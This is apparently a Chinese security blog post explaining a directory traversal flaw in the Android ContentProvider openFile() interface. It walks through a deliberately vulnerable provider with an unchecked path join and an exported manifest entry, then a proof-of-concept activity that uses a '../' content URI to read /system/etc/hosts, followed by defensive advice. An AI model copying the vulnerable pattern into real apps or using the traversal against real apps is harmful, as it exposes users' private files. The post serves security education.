ContentProvider openFile接口目录遍历漏洞

漏洞原理

Android ContentProvider 组件 openFile 接口存在文件目录遍历安全漏洞,该漏洞源于对外暴露 Content Provider 组件的应用,没有对 Content Provider 组件的访问进行权限控制和对访问的目标文件的 Content Query Uri 进行有效判断,攻击者利用该应用暴露的 Content Provider 的 openFile() 接口进行文件目录遍历以达到访问任意可读文件的目的。

openFile() 接口

Android ContentProvider 提供了一个 API 接口 openFile() 来共享文件:
在这里插入图片描述
漏洞原理

对外暴露的 Content Provider 实现了 openFile() 接口,因此其他有相应调用该 Content Provider 权限的应用即可调用 Content Provider 的 openFile() 接口进行文件数据访问。但是如果没有进行 Content Provider 访问权限控制和对访问的目标文件的 Uri 进行有效判断,攻击者利用文件目录遍历访问任意可读文件。

漏洞触发前提条件

  1. 对外暴露的 Content Provider 组件实现了 openFile() 接口;
  2. 没有对所访问的目标文件 Uri 进行有效判断,如没有过滤限制如“…/”可实现任意可读文件的访问的 Content Query Uri。

漏洞程序

下面来编写一个具体的漏洞示例程序。

1、创建一个继承 Content Provider 类的 FileProvider 类,并重写 openFile() 方法:

public class FileProvider extends ContentProvider {
    public FileProvider() {
    }

    @Override
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        File file = new File(getContext().getFilesDir(),uri.getPath());
        if(file.exists()){
            return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
        }
        throw new FileNotFoundException(uri.getPath());
    }

    @Override
    public int delete(Uri uri, String selection, String[] selectionArgs) {
        // Implement this to handle requests to delete one or more rows.
        throw new UnsupportedOperationException("Not yet implemented");
    }

    @Override
    public String getType(Uri uri) {
        // TODO: Implement this to handle requests for the MIME type of the data
        // at the given URI.
        throw new UnsupportedOperationException("Not yet implemented");
    }

    @Override
    public Uri insert(Uri uri, ContentValues values) {
        // TODO: Implement this to handle requests to insert a new row.
        throw new UnsupportedOperationException("Not yet implemented");
    }

    @Override
    public boolean onCreate() {
        // TODO: Implement this to initialize your content provider on startup.
        return false;
    }

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {
        // TODO: Implement this to handle query requests from clients.
        throw new UnsupportedOperationException("Not yet implemented");
    }

    @Override
    public int update(Uri uri, ContentValues values, String selection,
                      String[] selectionArgs) {
        // TODO: Implement this to handle requests to update one or more rows.
        throw new UnsupportedOperationException("Not yet implemented");
    }
}

2、在 Manifest.xml 文件中注册该组件并赋予 authorities,同时将 exposed 属性设为 true:

<provider
     android:name=".contentProvider.FileProvider"
     android:authorities="com.bwshen.app.FileProvider"
     android:enabled="true"
     android:exported="true" />

攻击程序

编写 POC 程序,借助上述存在漏洞的 ContentProvider 读取 /system/etc/hosts 文件的内容:

/**
 * ContentProvider openfile目录穿越漏洞测试
 */
public class openFileActivity extends AppCompatActivity {
    private static String TAG = "openFileActivity";

    @Override
    protected void onCreate(final Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_open_file);
        Button Button1 = (Button) findViewById(R.id.bnt_openfile);
        Button1.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                String authorities = "com.bwshen.app.FileProvider";
                String fileUri="content://" + authorities + "/../../../../system/etc/hosts";
                ContentResolver cr = getContentResolver();
                try {
                    FileInputStream in = (FileInputStream) cr.openInputStream(Uri.parse(fileUri));
                    byte[] buff =new byte[in.available()];
                    in.read(buff);
                    Log.e(TAG,new String(buff));
                } catch ( IOException e) {
                    e.printStackTrace();
                }
            }
        });
    }
}

运行程序,点击 POC 按钮可以看到日志中成功读取到 /system/etc/hosts
在这里插入图片描述

漏洞防御

针对上述漏洞,有效的防御手段如下:

  1. 将不必要导出的 Content Provider 设置为不导出;
  2. 如果应用的 Content Provider 组件没有必要实现 openFile() 接口,建议去除没有必要的 openFile() 接口;
  3. 限制文件路径访问,对访问的目标文件的路径进行有效判断。
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值